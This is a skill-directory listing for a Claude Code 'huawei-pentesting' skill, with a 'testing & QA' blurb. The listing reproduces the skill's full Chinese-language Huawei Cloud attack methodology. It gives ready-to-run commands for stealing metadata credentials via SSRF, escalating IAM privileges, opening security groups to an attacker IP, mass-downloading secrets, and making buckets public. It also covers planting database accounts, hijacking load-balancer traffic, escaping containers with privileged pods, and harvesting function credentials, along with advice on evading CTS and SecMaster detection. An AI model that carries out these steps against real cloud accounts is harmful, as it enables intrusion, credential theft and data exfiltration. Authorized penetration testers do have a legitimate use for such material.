
Huawei Pentesting
- 22 installs
- 1.6k repo stars
- Updated July 19, 2026
- wgpsec/aboutsecurity
Helps with testing & qa tasks during AI-assisted development.
About
huawei-pentesting is a Claude Code skill for testing & qa. It helps solo builders move faster with AI-assisted coding.
- huawei-pentesting
- Testing & QA
- AI-coding skill
Huawei Pentesting by the numbers
- 22 all-time installs (skills.sh)
- +2 installs in the week ending Jul 27, 2026 (Skillselion tracking)
- Ranked #1,412 of 2,153 Testing & QA skills by installs in the Skillselion catalog
- Data as of Aug 5, 2026 (Skillselion catalog sync)
npx skills add https://github.com/wgpsec/aboutsecurity --skill huawei-pentestingAdd your badge
Show developers this skill is listed on Skillselion. Paste this into your README.
| Installs | 22 |
|---|---|
| repo stars | ★ 1.6k |
| Last updated | July 19, 2026 |
| Repository | wgpsec/aboutsecurity ↗ |
What it does
Helps with testing & qa tasks during AI-assisted development.
Files
华为云渗透测试方法论
华为云 IAM/ECS/OBS/RDS/CCE 等服务构成主要攻击面。与 AWS/阿里云/腾讯云最大的不同在于,华为云使用三种独立的 CLI 接口(openstack CLI、obsutil、REST API),且其 IAM 基于 OpenStack Keystone 实现,元数据端点使用标准 169.254.169.254 但路径为 OpenStack 风格。本技能以渗透阶段(Phase)为主线,从凭据识别到各服务利用,提供完整攻击路径。
⛔ 深入参考(必读)
识别到具体攻击服务后,加载对应参考文档获取完整技术细节:
- 计算/存储/数据库详细利用 → 读 references/compute-storage-attacks.md
- 容器/Serverless/日志/KMS 详细利用 → 读 references/platform-services-attacks.md
---
Phase 1: 环境识别
拿到华为云相关目标后,首先识别凭据类型、确认可用的 CLI 接口、判断网络位置。
1.1 凭据类型
| 凭据类型 | 识别特征 | 有效期 | 获取方式 |
|---|---|---|---|
| 长期 AK/SK | AccessKeyId + SecretAccessKey | 永久(直到手动轮换) | IAM 控制台创建 / 代码泄露 |
| IAM Token | X-Auth-Token(Keystone 风格) | 默认 24 小时 | 用户名密码换取 / AK/SK 签名 |
| 临时安全凭据 | AK/SK + SecurityToken | 15 分钟 ~ 24 小时 | IAM Agency(委托) |
| IAM Agency(委托) | 类似 AWS AssumeRole | 按 Token 有效期 | 跨账号/服务委托 |
1.2 三种 CLI 接口(华为云独有)
华为云使用三种不同的命令行接口,这是渗透时必须理解的核心区别:
| 接口 | 覆盖服务 | 认证方式 | 安装 |
|---|---|---|---|
| openstack CLI | IAM / ECS / 安全组 | 环境变量 or clouds.yaml | pip install python-openstackclient |
| obsutil | OBS 对象存储 | obsutil config -i AK -k SK -e endpoint | 华为云官网下载二进制 |
| curl + REST API | RDS / ELB / CCE / FunctionGraph / LTS / KMS | X-Auth-Token Header | 系统自带 |
# openstack CLI 配置(环境变量方式)
export OS_AUTH_URL=https://iam.{region}.myhuaweicloud.com/v3
export OS_PROJECT_NAME={region}
export OS_USERNAME=USERNAME
export OS_PASSWORD=PASSWORD
export OS_DOMAIN_NAME=DOMAIN_NAME
# openstack CLI 配置验证
openstack token issue
# obsutil 配置
obsutil config -i ACCESS_KEY_ID -k SECRET_ACCESS_KEY \
-e https://obs.{region}.myhuaweicloud.com
# obsutil 验证
obsutil ls -limit=11.3 获取 IAM Token(REST API 前置条件)
华为云 REST API 调用需要先通过 IAM 获取 X-Auth-Token:
# 用户名密码方式获取 Token
curl -X POST "https://iam.{region}.myhuaweicloud.com/v3/auth/tokens" \
-H "Content-Type: application/json" \
-d '{
"auth": {
"identity": {
"methods": ["password"],
"password": {
"user": {
"domain": {"name": "DOMAIN_NAME"},
"name": "USERNAME",
"password": "PASSWORD"
}
}
},
"scope": {
"project": {"name": "{region}"}
}
}
}'
# Token 在响应头 X-Subject-Token 中返回,有效期默认 24 小时
TOKEN=$(curl -sI ... | grep X-Subject-Token | awk '{print $2}' | tr -d '\r')
# 如果有 AK/SK 但无用户名密码
# 华为云 AK/SK 签名较复杂,建议使用 SDK
pip install huaweicloudsdkcore huaweicloudsdkiam1.4 元数据端点
华为云 ECS 元数据端点使用标准 IP 169.254.169.254,但路径为 OpenStack 风格:
# 判断是否在 ECS 实例内部
curl -s http://169.254.169.254/openstack/latest/meta_data.json
# 获取实例绑定的 IAM Agency 凭据
curl -s http://169.254.169.254/openstack/latest/securitykey
# 获取实例 ID 和项目 ID
curl -s http://169.254.169.254/openstack/latest/meta_data.json | python3 -m json.tool
# 关注字段: uuid (实例 ID), project_id, availability_zone
# 获取 User-Data(可能包含初始化脚本中的凭据)
curl -s http://169.254.169.254/openstack/latest/user_data注意: 华为云元数据 IP 与 AWS 相同(169.254.169.254),但路径使用 OpenStack 格式(/openstack/latest/)。部分 SSRF 防护如果仅阻止 AWS 路径 /latest/meta-data/ 但未阻止 OpenStack 路径,仍然可以利用。
1.5 对象存储 URL 格式
公网访问: https://{bucket}.obs.{region}.myhuaweicloud.com/{object}发现 obs.*.myhuaweicloud.com 域名即可确认目标使用华为云 OBS。Bucket 名称全局唯一。
1.6 区域编码
| 区域代码 | 位置 | 备注 |
|---|---|---|
| cn-north-4 | 华北-北京四 | 最常用区域 |
| cn-north-1 | 华北-北京一 | |
| cn-east-3 | 华东-上海一 | |
| cn-east-2 | 华东-上海二 | |
| cn-south-1 | 华南-广州 | |
| cn-southwest-2 | 西南-贵阳一 | |
| ap-southeast-1 | 亚太-香港 | 无需备案 |
| ap-southeast-3 | 亚太-新加坡 | 海外区域 |
枚举时需遍历多个区域。IAM 为全局服务(iam.myhuaweicloud.com),ECS/OBS/RDS 等需逐区域操作。
1.7 IAM 身份模型
华为云 IAM 基于 OpenStack Keystone,使用 Domain / Project / User 三级层级:
| 概念 | 华为云 IAM | AWS IAM |
|---|---|---|
| 顶级账号 | Domain(域,含 Domain ID) | Account(含 Account ID) |
| 项目/区域隔离 | Project(每个区域一个 Project) | 无直接对应(Region 概念) |
| 用户 | User(属于 Domain) | IAM User |
| 角色/委托 | Agency(委托,类似 AssumeRole) | IAM Role |
| 用户组 | Group(绑定权限后用户继承) | IAM Group |
# 查看当前用户信息 [openstack]
openstack user show $(openstack token issue -f value -c user_id)
# 列出所有用户 [openstack]
openstack user list
# 查看角色分配 [openstack]
openstack role assignment list --user USER_ID --project PROJECT_ID---
Phase 2: 攻击决策树
根据当前持有的凭据/位置,判断攻击路径(每个分支标注使用的接口):
当前持有什么?
├── 无凭据
│ ├── 有目标域名 → OBS Bucket 枚举 [curl](猜解 bucket 名 + 公开访问检测)
│ ├── 有 SSRF 漏洞 → 打 http://169.254.169.254/openstack/latest/ [curl]
│ └── 仅知组织名 → OSINT + OBS/子域名枚举 [curl]
│
├── 有 AK/SK
│ ├── 配置 openstack CLI + obsutil + 获取 Token
│ ├── 验证: openstack token issue [openstack]
│ ├── 有 IAM 写权限 → Phase 3(IAM 提权)[openstack]
│ ├── 有 ECS 权限 → Phase 4(计算/存储)[openstack]
│ ├── 有 OBS 权限 → Phase 4(对象存储)[obsutil]
│ ├── 有 RDS/ELB 权限 → Phase 4(数据库/LB)[REST API]
│ └── 权限不明 → 逐服务探测(三种接口分别测试)
│
├── 有用户名密码(IAM 账号)
│ ├── 获取 Token: POST /v3/auth/tokens [REST API]
│ ├── 配置 openstack CLI [openstack]
│ └── 根据权限进入对应 Phase
│
├── 在 ECS 实例内部
│ ├── 获取元数据凭据 [curl] → 根据权限进入对应 Phase
│ └── 检查 User-Data 中是否有硬编码凭据 [curl]
│
└── 有容器环境(CCE Pod 内部)
├── 检查 ServiceAccount Token [kubectl]
├── 尝试访问元数据服务 [curl]
└── → Phase 5(容器/Serverless)[REST API + kubectl]---
Phase 3: IAM 提权速查
华为云 IAM 基于 OpenStack Keystone,使用 openstack CLI 进行操作。
3.1 信息收集
# 列出所有用户 [openstack]
openstack user list
# 查看指定用户详情 [openstack]
openstack user show USER_ID
# 列出角色分配 [openstack]
openstack role assignment list --user USER_ID --project PROJECT_ID
# 列出所有项目(Region 对应的 Project)[openstack]
openstack project list3.2 提权路径
| 提权路径 | 所需权限 | 接口 | 操作 |
|---|---|---|---|
| 创建 AK/SK | IAM 凭据管理权限 | REST API | 为高权限用户创建永久访问密钥 |
| 修改用户密码 | iam:user:setPassword | openstack | 重置其他用户密码获取其权限 |
| 创建 IAM Agency | iam:agency:createAgency | REST API | 创建委托关系获取其他账号权限 |
| 修改用户组 | iam:group:addUser | openstack | 将自身加入高权限用户组 |
| PassRole + 创建 ECS | 委托绑定 + ECS 创建 | openstack | 启动绑定高权限 Agency 的 ECS |
| PassRole + 创建 FunctionGraph | 委托绑定 + 函数创建 | REST API | 创建绑定高权限 Agency 的函数 |
# 提权示例:为高权限用户创建永久 AK/SK [REST API]
curl -X POST "https://iam.{region}.myhuaweicloud.com/v3.0/OS-CREDENTIAL/credentials" \
-H "X-Auth-Token: $TOKEN" \
-H "Content-Type: application/json" \
-d '{"credential": {"user_id": "TARGET_USER_ID", "description": "backup"}}'
# 返回 access (AK) 和 secret (SK)
# 提权示例:将自身加入管理员组 [openstack]
openstack group add user ADMIN_GROUP_ID CURRENT_USER_ID---
Phase 4: 计算/存储/数据库速查
ECS 云服务器 [openstack]
# 列出所有实例
openstack server list --long
# 获取实例详情(关注安全组、绑定 IP、状态)
openstack server show SERVER_ID→ 读 references/compute-storage-attacks.md 获取 VNC 控制台、密码提取、元数据利用完整流程
OBS 对象存储 [obsutil]
# 列出所有 Bucket → 列出对象 → 下载敏感文件
obsutil ls
obsutil ls obs://BUCKET_NAME/ -limit=100→ 读 references/compute-storage-attacks.md 获取 ACL 修改、批量下载、公开访问检测完整流程
RDS 数据库 [REST API]
# 列出数据库实例
curl -X GET "https://rds.{region}.myhuaweicloud.com/v3/{project_id}/instances" \
-H "X-Auth-Token: $TOKEN"→ 读 references/compute-storage-attacks.md 获取账号创建、备份下载、数据导出完整流程
ELB 负载均衡 [REST API]
# 列出负载均衡实例
curl -X GET "https://elb.{region}.myhuaweicloud.com/v2/{project_id}/elb/loadbalancers" \
-H "X-Auth-Token: $TOKEN"→ 读 references/compute-storage-attacks.md 获取后端篡改、流量劫持完整流程
---
Phase 5: 容器/Serverless/日志/KMS 速查
CCE 容器引擎 [REST API + kubectl]
# 列出集群
curl -X GET "https://cce.{region}.myhuaweicloud.com/api/v3/projects/{project_id}/clusters" \
-H "X-Auth-Token: $TOKEN"
# 获取 kubeconfig 后使用 kubectl 操作集群→ 读 references/platform-services-attacks.md 获取集群接管、kubeconfig 提取、特权 Pod 创建完整流程
FunctionGraph 函数计算 [REST API]
# 列出函数(注意 URN 格式)
curl -X GET "https://functiongraph.{region}.myhuaweicloud.com/v2/{project_id}/fgs/functions" \
-H "X-Auth-Token: $TOKEN"→ 读 references/platform-services-attacks.md 获取代码提取、环境变量泄露、函数配置完整流程
LTS 日志服务 [REST API]
# 列出日志组
curl -X GET "https://lts.{region}.myhuaweicloud.com/v2/{project_id}/groups" \
-H "X-Auth-Token: $TOKEN"→ 读 references/platform-services-attacks.md 获取敏感日志搜索、批量导出完整流程
KMS 密钥管理 [REST API]
# 列出密钥
curl -X GET "https://kms.{region}.myhuaweicloud.com/v1.0/{project_id}/kms/keys" \
-H "X-Auth-Token: $TOKEN"→ 读 references/platform-services-attacks.md 获取密钥枚举、数据解密完整流程
---
Phase 6: 安全组操控
安全组是华为云 ECS 的网络访问控制层,使用 openstack CLI 操作。
# 列出所有安全组 [openstack]
openstack security group list
# 查看安全组规则 [openstack]
openstack security group rule list SG_ID
# 添加入方向规则 — 仅开放攻击者 IP 的 SSH [openstack]
openstack security group rule create --proto tcp --dst-port 22 \
--remote-ip ATTACKER_IP/32 SG_ID
# 危险操作 — 开放所有端口(极高告警风险)[openstack]
openstack security group rule create --proto tcp --dst-port 1:65535 \
--remote-ip 0.0.0.0/0 SG_ID判断依据: 仅在需要建立反向连接或直接访问内部服务时操作安全组。优先使用最小端口范围 + 指定源 IP,避免触发安全云脑(SecMaster)告警。
---
工具速查
| 工具 | 用途 | 接口类型 | 安装/使用 |
|---|---|---|---|
| openstack CLI | IAM/ECS/安全组操作 | openstack | pip install python-openstackclient |
| obsutil | OBS 对象存储操作 | obsutil | 华为云官网下载二进制 |
| curl | REST API 调用 + 元数据探测 | REST API | 系统自带 |
| hcloud CLI | 华为云官方 CLI(部分场景替代 curl) | REST API | 华为云官网下载 |
| kubectl | CCE 集群操作 | kubectl | 获取 kubeconfig 后使用 |
| huaweicloudsdkcore | Python SDK(AK/SK 签名) | SDK | pip install huaweicloudsdkcore |
注意事项
CTS 审计感知: 华为云 CTS(Cloud Trace Service)记录管理事件 API 调用(类似 AWS CloudTrail)。以下操作产生高可见性日志:
- IAM 变更(创建用户、创建 AK/SK、修改用户组)
- Agency(委托)创建与修改
- 安全组规则变更
安全云脑检测: 华为云安全云脑(SecMaster)会检测:
- AK/SK 异常调用(异常 IP、异常时间、异常 API 频率)
- ECS 异常登录(非常用地域 IP)
- 安全组规则异常开放
- OBS Bucket ACL 变更为公开
速率限制: 华为云 API 有限流机制,枚举时建议控制频率。触发限流返回 HTTP 429 或 APIGW 错误。
区域遍历: 华为云资源按区域隔离。IAM 为全局服务,但 ECS/OBS/RDS 等需逐区域枚举。注意:每个区域对应一个独立的 OpenStack Project。
三种接口的认证隔离: openstack CLI 使用环境变量认证,obsutil 使用独立的 AK/SK 配置,REST API 使用 X-Auth-Token。切换区域时三种工具的配置需要分别更新。
华为云计算/存储/数据库攻击详解
本文档覆盖华为云 ECS(弹性云服务器)、OBS(对象存储)、RDS(关系型数据库)、ELB(弹性负载均衡)四项核心服务的渗透技术。每项技术包含利用条件、完整命令和预期输出。
接口说明: ECS 和安全组使用 openstack CLI,OBS 使用 obsutil,RDS 和 ELB 使用 REST API(需要 X-Auth-Token)。
---
ECS 弹性云服务器攻击
ECS 是华为云最基础的计算服务,基于 OpenStack Nova。攻击 ECS 的主要目标是获取实例控制权、提取敏感数据、或通过实例绑定的 IAM Agency 获取更高权限。
实例枚举
利用条件: 拥有 openstack CLI 访问权限,具备实例列出权限。
# 列出所有实例(--long 显示更多字段)[openstack]
openstack server list --long
# 预期输出关注字段:
# ID (实例 UUID), Name, Status (ACTIVE/SHUTOFF/BUILD)
# Networks (内网/公网 IP), Image, Flavor
# Host (宿主机名,仅管理员可见)
# 获取指定实例详细信息 [openstack]
openstack server show SERVER_ID
# 关注字段:
# - addresses: 网络配置(公网 IP、内网 IP)
# - security_groups: 绑定的安全组
# - OS-EXT-SRV-ATTR:host: 宿主机(管理员可见)
# - metadata: 实例标签元数据关注点: 返回结果中的公网 IP(用于直接访问)、安全组(判断网络策略)、实例状态。如果实例绑定了 IAM Agency,通过元数据服务可获取临时凭据。
VNC 控制台连接
利用条件: 拥有 server:getVNCConsole 相关权限。
# 获取实例的 VNC 控制台 URL [openstack]
openstack console url show SERVER_ID
# 返回 novnc 类型的 URL,在浏览器中打开可直接操作实例终端
# 适用于无法通过 SSH/RDP 连接时的应急访问
# URL 有效期较短,获取后需立即使用注意: VNC 连接需要实例处于 ACTIVE 状态。如果实例有密码但不知道,VNC 连接仍然需要登录认证。
实例密码提取
利用条件: 实例使用密钥对创建,且未清除密码数据。
# 获取实例密码(加密后的,需要私钥解密)[openstack]
openstack server password show SERVER_ID
# 返回加密的密码字符串
# 如果持有对应私钥,可以解密获取 Windows 实例的管理员密码User-Data 提取
利用条件: 在 ECS 实例内部可访问元数据。
# 从元数据服务获取(在实例内部执行)
curl -s http://169.254.169.254/openstack/latest/user_data
# User-Data 常见敏感内容:
# - 初始化脚本中的数据库连接字符串
# - AK/SK 硬编码
# - 配置管理系统凭据(Ansible、Puppet)
# - SSH 公钥注入脚本实例元数据利用
从 ECS 内部利用元数据获取凭据,是华为云环境中 SSRF 漏洞的核心利用路径。
# 完整的元数据利用链(从 SSRF 到获取凭据):
# Step 1: 确认元数据服务可达(注意:路径是 OpenStack 风格)
curl -s http://169.254.169.254/openstack/latest/meta_data.json
# Step 2: 获取实例基本信息
curl -s http://169.254.169.254/openstack/latest/meta_data.json | python3 -m json.tool
# 关注: uuid (实例 ID), project_id, availability_zone, name
# Step 3: 获取安全凭据(Agency 临时凭据)
curl -s http://169.254.169.254/openstack/latest/securitykey
# 输出 JSON:
# {
# "access": "AK...",
# "secret": "SK...",
# "securitytoken": "xxx",
# "expires_at": "2024-01-01T12:00:00Z"
# }
# Step 4: 用获取的凭据配置工具
# 配置 obsutil
obsutil config -i "AK..." -k "SK..." -e https://obs.{region}.myhuaweicloud.com -t "securitytoken..."
# 使用临时凭据获取 Token(用于 REST API)
# 需要通过 SDK 进行 AK/SK 签名
# Step 5: 获取 User-Data
curl -s http://169.254.169.254/openstack/latest/user_dataSSRF 利用差异: 华为云元数据 IP 与 AWS 相同(169.254.169.254),如果 SSRF 防护仅阻止 AWS 路径 /latest/meta-data/ 而未阻止 /openstack/latest/,仍可利用。另外,华为云目前不强制 IMDSv2 风格的 Token 机制,大部分 ECS 实例的元数据可直接通过 HTTP GET 访问。
---
OBS 对象存储攻击
OBS(Object Storage Service)是华为云的对象存储服务,对标 AWS S3。使用 obsutil 命令行工具操作,ACL 修改使用 REST API。
Bucket 枚举与内容列出
利用条件: 已配置 obsutil(拥有 AK/SK),具备 Bucket 列出权限。
# 列出当前账号下所有 Bucket [obsutil]
obsutil ls
# 预期输出: Bucket Name, Region, Creation Date
# 列出 Bucket 内对象 [obsutil]
obsutil ls obs://BUCKET_NAME/ -limit=200
# 递归列出所有对象
obsutil ls obs://BUCKET_NAME/ -limit=0
# -limit=0 表示不限制数量
# 按前缀过滤(查找敏感路径)
obsutil ls obs://BUCKET_NAME/config/
obsutil ls obs://BUCKET_NAME/backup/
obsutil ls obs://BUCKET_NAME/credentials/数据下载
# 下载单个文件 [obsutil]
obsutil cp obs://BUCKET_NAME/OBJECT_PATH /tmp/
# 递归下载整个目录
obsutil cp obs://BUCKET_NAME/config/ /tmp/loot/config/ -r -f
# 下载特定后缀的敏感文件
obsutil cp obs://BUCKET_NAME/ /tmp/loot/ -r -f \
-include="*.env,*.key,*.pem,*.sql,*.bak,*.conf,*.yaml"Bucket ACL 检查与修改
利用条件: 检查 ACL 无需特殊权限(公开 Bucket),修改 ACL 需要 Bucket Owner 或写 ACL 权限。
# 检查 Bucket ACL [REST API]
curl -X GET "https://obs.{region}.myhuaweicloud.com/BUCKET_NAME?acl" \
-H "Authorization: OBS ACCESS_KEY:SIGNATURE"
# 注意:OBS 使用自己的签名方式(非标准 AWS SigV4),建议使用 obsutil 或 SDK
# 修改 Bucket ACL 为公开读(数据外泄)[REST API]
curl -X PUT "https://obs.{region}.myhuaweicloud.com/BUCKET_NAME?acl" \
-H "Authorization: OBS ACCESS_KEY:SIGNATURE" \
-H "x-amz-acl: public-read"
# 修改后该 Bucket 所有对象可通过 URL 直接下载:
# https://BUCKET_NAME.obs.{region}.myhuaweicloud.com/OBJECT_PATH风险评估: ACL 变更为 public-read 会立即使 Bucket 所有内容对互联网可见。CTS 会记录此变更事件。
未授权访问检测
无需任何凭据即可检测 OBS Bucket 是否公开:
# 直接通过 HTTP 检测是否可列出
curl -s "https://BUCKET_NAME.obs.{region}.myhuaweicloud.com/?max-keys=10"
# 如果返回 XML 含 <Contents>,说明 Bucket 允许匿名列出
# 检查是否可下载特定对象
curl -s -o /dev/null -w "%{http_code}" \
"https://BUCKET_NAME.obs.{region}.myhuaweicloud.com/test.txt"
# 200 = 可下载, 403 = 禁止, 404 = 不存在
# 常见 Bucket 命名规律:
# {公司名}-backup, {项目名}-logs, {环境}-config---
RDS 关系型数据库攻击
RDS 是华为云的托管数据库服务(MySQL/PostgreSQL/SQL Server),使用 REST API 操作。攻击目标是数据窃取和持久化后门。
实例枚举
利用条件: 拥有 X-Auth-Token,具备 RDS 实例查询权限。
# 列出所有数据库实例 [REST API]
curl -X GET "https://rds.{region}.myhuaweicloud.com/v3/{project_id}/instances" \
-H "X-Auth-Token: $TOKEN"
# 预期输出关注字段:
# id: 实例 ID
# name: 实例名称
# type: Single(单机) / Ha(主备) / Replica(只读)
# datastore.type: MySQL / PostgreSQL / SQLServer
# datastore.version: 数据库版本
# private_ips: 内网 IP 列表
# public_ips: 公网 IP(可能为空)
# port: 数据库端口
# 获取指定实例详情
curl -X GET "https://rds.{region}.myhuaweicloud.com/v3/{project_id}/instances/{instance_id}" \
-H "X-Auth-Token: $TOKEN"关键判断: 如果 public_ips 不为空,说明数据库开启了公网访问。如果为空,需要通过 ECS 实例或 VPN 访问 private_ips:port。
创建数据库账号
利用条件: 拥有 X-Auth-Token,具备 RDS 账号创建权限。
# 创建数据库账号 [REST API]
curl -X POST "https://rds.{region}.myhuaweicloud.com/v3/{project_id}/instances/{instance_id}/db_user" \
-H "X-Auth-Token: $TOKEN" \
-H "Content-Type: application/json" \
-d '{
"db_user": {
"name": "audit_reader",
"password": "Str0ngP@ss123!"
}
}'
# 创建后使用 mysql/psql 客户端连接数据库
# mysql -h PRIVATE_IP -P PORT -u audit_reader -p利用后: 获取数据库访问权限后,重点搜索:
- 用户表(用户名、密码哈希、邮箱、手机号)
- 配置表(第三方 API Key、数据库连接串)
- 日志表(操作日志中的敏感信息)
数据库备份利用
# 创建手动备份 [REST API]
curl -X POST "https://rds.{region}.myhuaweicloud.com/v3/{project_id}/backups" \
-H "X-Auth-Token: $TOKEN" \
-H "Content-Type: application/json" \
-d '{
"instance_id": "INSTANCE_ID",
"name": "routine-backup",
"description": "scheduled backup"
}'
# 列出备份集(获取下载链接)[REST API]
curl -X GET "https://rds.{region}.myhuaweicloud.com/v3/{project_id}/backups?instance_id=INSTANCE_ID" \
-H "X-Auth-Token: $TOKEN"
# 返回中的下载链接可获取完整数据库备份---
ELB 弹性负载均衡攻击
ELB(Elastic Load Balance)是华为云的负载均衡服务,使用 REST API 操作。攻击 ELB 可以劫持流量、注入后端服务器、或造成拒绝服务。
枚举与信息收集
利用条件: 拥有 X-Auth-Token,具备 ELB 查询权限。
# 列出所有 ELB 实例 [REST API]
curl -X GET "https://elb.{region}.myhuaweicloud.com/v2/{project_id}/elb/loadbalancers" \
-H "X-Auth-Token: $TOKEN"
# 预期输出关注字段:
# id: ELB 实例 ID
# name: 名称
# vip_address: VIP 地址
# provisioning_status: ACTIVE / PENDING_CREATE
# listeners: 监听器列表
# 查看后端服务器池
curl -X GET "https://elb.{region}.myhuaweicloud.com/v2/{project_id}/elb/pools" \
-H "X-Auth-Token: $TOKEN"
# 查看池中的成员(后端服务器列表)
curl -X GET "https://elb.{region}.myhuaweicloud.com/v2/{project_id}/elb/pools/{pool_id}/members" \
-H "X-Auth-Token: $TOKEN"后端服务器篡改
利用条件: 拥有 X-Auth-Token,具备 ELB 成员管理权限。
# 添加攻击者控制的服务器到后端池(流量劫持)[REST API]
curl -X POST "https://elb.{region}.myhuaweicloud.com/v2/{project_id}/elb/pools/{pool_id}/members" \
-H "X-Auth-Token: $TOKEN" \
-H "Content-Type: application/json" \
-d '{
"member": {
"address": "ATTACKER_INTERNAL_IP",
"protocol_port": 80,
"subnet_id": "SUBNET_ID",
"weight": 100
}
}'攻击效果: 将攻击者控制的 ECS 实例加入负载均衡后端池,并设置最高权重(100),可以:
- 拦截用户请求中的凭据、Session Token
- 返回钓鱼页面
- 获取后端服务通信协议和数据格式
注意: ELB 配置变更会在 CTS 中留下记录,且后端服务器需在同一 VPC/子网内。
监听器配置查看
# 查看 ELB 所有监听器
curl -X GET "https://elb.{region}.myhuaweicloud.com/v2/{project_id}/elb/listeners" \
-H "X-Auth-Token: $TOKEN"
# 关注:protocol (HTTP/HTTPS/TCP)、protocol_port、default_pool_id
# 如果 ELB 配置了 HTTPS 监听器,可获取证书信息
# 证书关联的域名信息有助于资产发现华为云容器/Serverless/日志/KMS 攻击详解
本文档覆盖华为云 CCE(云容器引擎)、FunctionGraph(函数计算)、LTS(云日志服务)、KMS(密钥管理)四项平台服务的渗透技术。所有服务均使用 REST API(X-Auth-Token)操作,CCE 获取 kubeconfig 后可使用 kubectl。
---
CCE 云容器引擎攻击
CCE(Cloud Container Engine)是华为云的托管 Kubernetes 服务。攻击目标是获取集群控制权、容器逃逸到宿主机、或通过节点绑定的 IAM Agency 横向移动。
集群枚举
利用条件: 拥有 X-Auth-Token,具备 CCE 集群查询权限。
# 列出所有 CCE 集群 [REST API]
curl -X GET "https://cce.{region}.myhuaweicloud.com/api/v3/projects/{project_id}/clusters" \
-H "X-Auth-Token: $TOKEN"
# 返回关注字段:
# metadata.uid: 集群唯一标识
# metadata.name: 集群名称
# spec.type: VirtualMachine(虚拟机集群) / BareMetal(裸金属)
# spec.flavor: 集群规格 (cce.s1.small / cce.s2.medium 等)
# spec.version: K8s 版本
# status.phase: Available / Unavailable / Creating
# status.endpoints[]: API Server 地址关注点: spec.type 区分虚拟机/裸金属集群。status.endpoints 中的 Internal/External URL 是后续 kubectl 连接的关键。
获取集群凭据
利用条件: 拥有 X-Auth-Token,具备 CCE kubeconfig 获取权限。这是 CCE 攻击链中最关键的一步。
# 获取 kubeconfig [REST API]
curl -X GET "https://cce.{region}.myhuaweicloud.com/api/v3/projects/{project_id}/clusters/{cluster_id}/clustercert" \
-H "X-Auth-Token: $TOKEN" \
-o /tmp/kubeconfig.yaml
# 使用获取的 kubeconfig 操作集群
export KUBECONFIG=/tmp/kubeconfig.yaml
# 验证集群访问 [kubectl]
kubectl cluster-info
kubectl get nodes关键判断: 如果成功获取 kubeconfig,等同于获得了集群的管理权限。CCE 默认返回的 kubeconfig 通常具有 cluster-admin 级别权限。
Kubernetes 集群利用
获取 kubeconfig 后,使用标准 Kubernetes 攻击技术:
# 信息收集 [kubectl]
kubectl get pods --all-namespaces
kubectl get secrets --all-namespaces
kubectl get configmaps --all-namespaces
# 读取 Secret 内容(可能包含数据库密码、API Key)
kubectl get secret SECRET_NAME -n NAMESPACE -o jsonpath='{.data}' | \
while IFS= read -r line; do echo "$line" | base64 -d; done
# 检查 ServiceAccount 权限
kubectl auth can-i --list
kubectl auth can-i --list --as=system:serviceaccount:NAMESPACE:SA_NAME创建特权 Pod
利用条件: 拥有 Pod 创建权限,且 PodSecurityPolicy 未严格限制。
# 创建特权 Pod(挂载宿主机文件系统)[kubectl]
kubectl run priv-pod --image=alpine --overrides='{
"spec": {
"containers": [{
"name": "priv",
"image": "alpine",
"command": ["sleep", "3600"],
"securityContext": {"privileged": true},
"volumeMounts": [{"name": "host", "mountPath": "/host"}]
}],
"volumes": [{
"name": "host",
"hostPath": {"path": "/", "type": "Directory"}
}]
}
}'
# 进入 Pod,访问宿主机文件系统 [kubectl]
kubectl exec -it priv-pod -- /bin/sh
# 在 Pod 内: ls /host/ -> 宿主机根目录
# chroot /host /bin/bash -> 获取宿主机 shell攻击效果: 特权 Pod 可以访问宿主机所有文件系统、网络栈和设备。从容器逃逸到节点后,可以:
- 读取节点上其他 Pod 的 Secret
- 访问节点的 kubelet 凭据
- 通过节点的 IAM Agency 访问华为云 API(元数据服务)
从 Pod 内获取元数据
在 CCE 集群的 Pod 内部,可以访问 ECS 元数据服务:
# 在 Pod 内获取节点的 IAM Agency 凭据
curl -s http://169.254.169.254/openstack/latest/securitykey
# 返回 access (AK), secret (SK), securitytoken
# 获取节点的项目信息
curl -s http://169.254.169.254/openstack/latest/meta_data.json注意: 华为云 CCE 默认情况下,Pod 可以直接访问节点元数据服务。如果节点绑定了高权限 IAM Agency,Pod 内的攻击者可以获取该 Agency 的临时凭据。部分集群可能配置了网络策略限制元数据访问,但这不是默认行为。
---
FunctionGraph 函数计算攻击
FunctionGraph 是华为云的 Serverless 计算服务,对标 AWS Lambda。使用 REST API 操作。攻击目标是代码窃取、环境变量中的凭据提取、以及通过函数绑定的 IAM Agency 横向移动。
重要概念 — 函数 URN 格式:
urn:fss:{region}:{project_id}:function:default:{function_name}:{version}部分 API 需要使用完整 URN 作为路径参数。
函数枚举
利用条件: 拥有 X-Auth-Token,具备函数列出权限。
# 列出所有函数 [REST API]
curl -X GET "https://functiongraph.{region}.myhuaweicloud.com/v2/{project_id}/fgs/functions" \
-H "X-Auth-Token: $TOKEN"
# 预期输出关注:
# func_urn: 函数 URN(后续 API 调用需要)
# func_name: 函数名称
# runtime: 运行时 (Python3.6/Node.js12.13/Go1.x/Java8 等)
# timeout: 超时时间
# memory_size: 内存大小
# user_data: 可能包含配置信息关注点: runtime 信息帮助判断代码语言。Python/Node.js 函数更可能在环境变量中存储凭据。func_urn 是后续所有操作的必要参数。
获取函数代码
利用条件: 拥有 X-Auth-Token,具备函数代码查询权限。
# 获取函数代码 [REST API]
curl -X GET "https://functiongraph.{region}.myhuaweicloud.com/v2/{project_id}/fgs/functions/{function_urn}/code" \
-H "X-Auth-Token: $TOKEN"
# 返回中包含 func_code.file(Base64 编码的代码包)
# 解码并分析代码:
# echo "BASE64_CODE" | base64 -d > /tmp/function_code.zip
# unzip /tmp/function_code.zip -d /tmp/function_code/利用后分析: 解压代码包后重点搜索:
- 硬编码的 AK/SK
- 数据库连接字符串
- 第三方 API Token
- 内网服务地址
获取函数配置(环境变量)
利用条件: 拥有 X-Auth-Token,具备函数配置查询权限。
# 获取函数配置信息(包含环境变量)[REST API]
curl -X GET "https://functiongraph.{region}.myhuaweicloud.com/v2/{project_id}/fgs/functions/{function_urn}/config" \
-H "X-Auth-Token: $TOKEN"
# 返回中的 user_data 字段包含环境变量
# 常见的敏感环境变量名:
# DB_HOST, DB_PASSWORD, DB_CONNECTION_STRING
# HUAWEICLOUD_SDK_AK, HUAWEICLOUD_SDK_SK
# OBS_BUCKET, OBS_ENDPOINT
# REDIS_PASSWORD, REDIS_HOST
# API_KEY, SECRET_KEY, JWT_SECRET关键判断: 开发者经常将凭据存储在 FunctionGraph 函数的环境变量中。一个函数的环境变量可能包含访问多个其他服务的凭据,形成横向移动链。
函数调用
利用条件: 拥有 X-Auth-Token,具备函数调用权限。
